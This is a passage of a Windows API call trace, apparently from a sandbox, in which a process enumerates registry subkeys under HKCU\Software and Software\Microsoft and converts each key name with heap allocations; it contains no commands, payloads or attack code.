lpName=0x2163058, cchName=0x104 | out: lpName="Software") returned 0x0 [0140.522] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.522] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x2169258, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0140.522] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.522] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.522] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.522] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.522] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software", ulOptions=0x0, samDesired=0x20109, phkResult=0x20f2c4 | out: phkResult=0x20f2c4*=0x140) returned 0x0 [0140.522] RegCloseKey (hKey=0x80000001) returned 0x0 [0140.522] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2163058, cchName=0x104 | out: lpName="Adobe") returned 0x0 [0140.522] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobe", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0140.522] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobe", cchWideChar=5, lpMultiByteStr=0x2169180, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobe", lpUsedDefaultChar=0x0) returned 5 [0140.522] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.522] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.522] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.522] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.523] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2163058, cchName=0x104 | out: lpName="AppDataLow") returned 0x0 [0140.523] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appdatalow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.523] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appdatalow", cchWideChar=10, lpMultiByteStr=0x2169258, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appdatalow", lpUsedDefaultChar=0x0) returned 10 [0140.523] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.523] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.523] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.523] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.523] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2163058, cchName=0x104 | out: lpName="Clients") returned 0x0 [0140.523] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.523] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x2169180, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0140.523] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.523] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.523] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.523] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.523] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2163058, cchName=0x104 | out: lpName="Google") returned 0x0 [0140.523] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="google", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0140.523] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="google", cchWideChar=6, lpMultiByteStr=0x2169258, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="google", lpUsedDefaultChar=0x0) returned 6 [0140.523] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.523] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.523] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.523] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.523] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2163058, cchName=0x104 | out: lpName="JavaSoft") returned 0x0 [0140.523] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="javasoft", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.523] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="javasoft", cchWideChar=8, lpMultiByteStr=0x2169180, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="javasoft", lpUsedDefaultChar=0x0) returned 8 [0140.523] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.523] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.524] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.524] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.524] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5, lpName=0x2163058, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0140.524] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.524] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x2169258, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0140.524] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.524] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.524] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.524] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.524] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6, lpName=0x2163058, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0140.524] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.524] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x2169180, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0140.524] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.524] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.524] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.524] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.524] RegOpenKeyExW (in: hKey=0x140, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x20f2c4 | out: phkResult=0x20f2c4*=0x13c) returned 0x0 [0140.524] RegCloseKey (hKey=0x140) returned 0x0 [0140.524] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x0, lpName=0x2163058, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0140.524] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0140.524] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x2169258, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0140.524] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.524] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.524] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.524] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.524] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x1, lpName=0x2163058, cchName=0x104 | out: lpName="ActiveMovie") returned 0x0 [0140.525] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activemovie", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.525] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activemovie", cchWideChar=11, lpMultiByteStr=0x2169180, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activemovie", lpUsedDefaultChar=0x0) returned 11 [0140.525] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.525] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.525] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.525] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.525] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x2, lpName=0x2163058, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0140.525] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0140.525] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x2169258, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0140.525] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.525] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.525] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.525] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.525] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x3, lpName=0x2163058, cchName=0x104 | out: lpName="ASF Stream Descriptor File") returned 0x0 [0140.525] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asf stream descriptor file", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0140.525] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asf stream descriptor file", cchWideChar=26, lpMultiByteStr=0x2169180, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asf stream descriptor file", lpUsedDefaultChar=0x0) returned 26 [0140.525] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.525] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.525] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.525] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.525] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x4, lpName=0x2163058, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0140.525] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.525] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x2169258, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0140.525] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.525] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.526] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.526] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.526] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x5, lpName=0x2163058, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0140.526] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0140.526] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x2169180, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0140.526] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.526] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.526] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.526] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.526] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x6, lpName=0x2163058, cchName=0x104 | out: lpName="CTF") returned 0x0 [0140.526] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0140.526] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x2169258, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0140.526] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.526] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.526] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.526] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.526] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x7, lpName=0x2163058, cchName=0x104 | out: lpName="Direct3D") returned 0x0 [0140.526] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="direct3d", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.526] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="direct3d", cchWideChar=8, lpMultiByteStr=0x2169180, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="direct3d", lpUsedDefaultChar=0x0) returned 8 [0140.526] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.526] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.526] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.526] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.526] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x8, lpName=0x2163058, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0140.526] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.526] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x2169258, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0140.527] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.527] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.527] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.527] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.527] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x9, lpName=0x2163058, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0140.527] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.527] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x2169180, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0140.527] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.527] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.527] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.527] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.527] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xa, lpName=0x2163058, cchName=0x104 | out: lpName="Fax") returned 0x0 [0140.527] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0140.527] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x2169258, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0140.527] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.527] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.527] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.527] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.527] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xb, lpName=0x2163058, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0140.527] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0140.527] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x2169180, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0140.527] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.527] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169180) returned 1 [0140.527] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.527] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.527] RegEnumKeyW (in: hKey=0x13c, dwIndex=0xc, lpName=0x2163058, cchName=0x104 | out: lpName="FTP") returned 0x0 [0140.527] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ftp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0140.528] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169258 [0140.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ftp", cchWideChar=3, lpMultiByteStr=0x2169258, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ftp", lpUsedDefaultChar=0x0) returned 3 [0140.528] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169180 [0140.528] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169258) returned 1 [0140.528] RtlFreeHeap (HeapHandle=0x2260000, 